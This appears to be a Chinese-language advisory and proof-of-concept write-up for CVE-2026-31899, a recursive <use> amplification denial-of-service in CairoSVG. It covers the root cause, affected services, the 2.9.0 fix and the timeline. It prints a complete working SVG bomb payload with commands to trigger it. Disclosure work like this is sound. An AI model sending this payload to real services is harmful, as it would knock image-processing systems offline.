
CVE-2026-31899: Exponential DoS via Recursive <use> Element Amplification in CairoSVG (CVSS 7.5 High)
关键词: CVE-2026-31899, CairoSVG, 指数级 DoS, SVG 炸弹, 递归 use 元素, 拒绝服务, XML 放大, Python SVG 漏洞, CWE-400, 不受控制的资源消耗, SVG 亿万笑
CairoSVG 指数级拒绝服务 (CVE-2026-31899) — 一个 1,411 字节的 SVG 载荷通过递归 元素放大,使 CPU 无限期保持在 100% 占用。
CairoSVG(约 30 万次下载/周)是一个广泛使用的 Python SVG 转 PNG/PDF 转换器。cairosvg/defs.py 中的 use() 函数在处理 元素时没有任何深度或数量限制。通过 5 层嵌套,每层 10 个引用,一个小的 SVG 会触发 10^5 = 100,000 次渲染调用 —— 这是 SVG 版的“亿万笑”变种。
发现者: Kai Aizen — SnailSploit 发布时间: 2026 年 3 月 13 日 CVSS 分数: 7.5(高) CWE: CWE-400 — 不受控制的资源消耗 软件包: CairoSVG (PyPI) 攻击类型: 指数级拒绝服务 所需权限: 无(未认证)
cairosvg/defs.py 中的 use() 函数(约第 335 行)递归解析引用其他 元素的 元素。该函数没有递归深度限制,也没有总元素预算。攻击者可以构造一个小的 SVG,其中每一层引用上一层的 N 次,从 O(深度) 的输入产生 O(N^深度) 的渲染调用。
漏洞存在的根本原因:
defs.py 中的 use() 函数处理每个 元素时查找其 xlink:href 目标在 5 层、分支因子为 10 的情况下:
第 0 层: 1 个元素(根 <use>)
第 1 层: 10 个元素
第 2 层: 100 个元素
第 3 层: 1,000 个元素
第 4 层: 10,000 个元素
第 5 层: 100,000 次渲染调用
总计:从 1,411 字节输入产生 111,111 次渲染调用。
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
方法 1 — 命令行:
timeout 10 cairosvg poc.svg -o test.png
# 预期:timeout 在 10 秒后杀死进程(它永远无法完成)
方法 2 — Python:
import cairosvg
import signal
signal.alarm(5) # 5 秒后杀死
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] 确认:CPU 耗尽——进程在 5 秒内未完成")
任何接受 SVG 输入并使用 CairoSVG 进行处理的服务都易受影响:
| 攻击面 | 示例 |
|---|---|
| 缩略图生成 | 上传 SVG → 服务器转换为 PNG |
| PDF 生成 | 文档中嵌入 SVG → CairoSVG 渲染 |
| 头像/图片处理 | 用户上传的 SVG 头像图片 |
| 报告渲染 | 自动化报告中的 SVG 图表 |
单个请求携带 1.4KB 载荷将使处理线程无限期锁定,同时消耗极低内存(不会触发 OOM 杀进程来拯救你)。
将 CairoSVG 升级到 2.9.0 或更高版本:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| 日期 | 事件 |
|---|---|
| 2026-03-09 | CVE 预留 |
| 2026-03-13 | 安全公告发布 (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 发布并包含修复 |
Kai Aizen (SnailSploit)
⚠️ 免责声明: 本仓库仅用于教育和授权的安全研究目的。提供概念验证是为了帮助防御者验证其暴露风险。请负责任地使用。
本项目的完整文章、研究方法及相关研究位于:
由 Kai Aizen 创建——独立进攻性安全研究员。
snailsploit.com · 研究 · 框架 · GitHub · LinkedIn · ResearchGate · X/Twitter
相同的攻击,不同的基底。
| CI/CD 流水线 | 构建过程中处理的 SVG 资源 |
| 指标 | 值 |
|---|
| 攻击向量 | 网络 (AV:N) |
| 攻击复杂度 | 低 (AC:L) |
| 所需权限 | 无 (PR:N) |
| 用户交互 | 无 (UI:N) |
| 范围 | 不变 (S:U) |
| 机密性 | 无 (C:N) |
| 完整性 | 无 (I:N) |
| 可用性 | 高 (A:H) |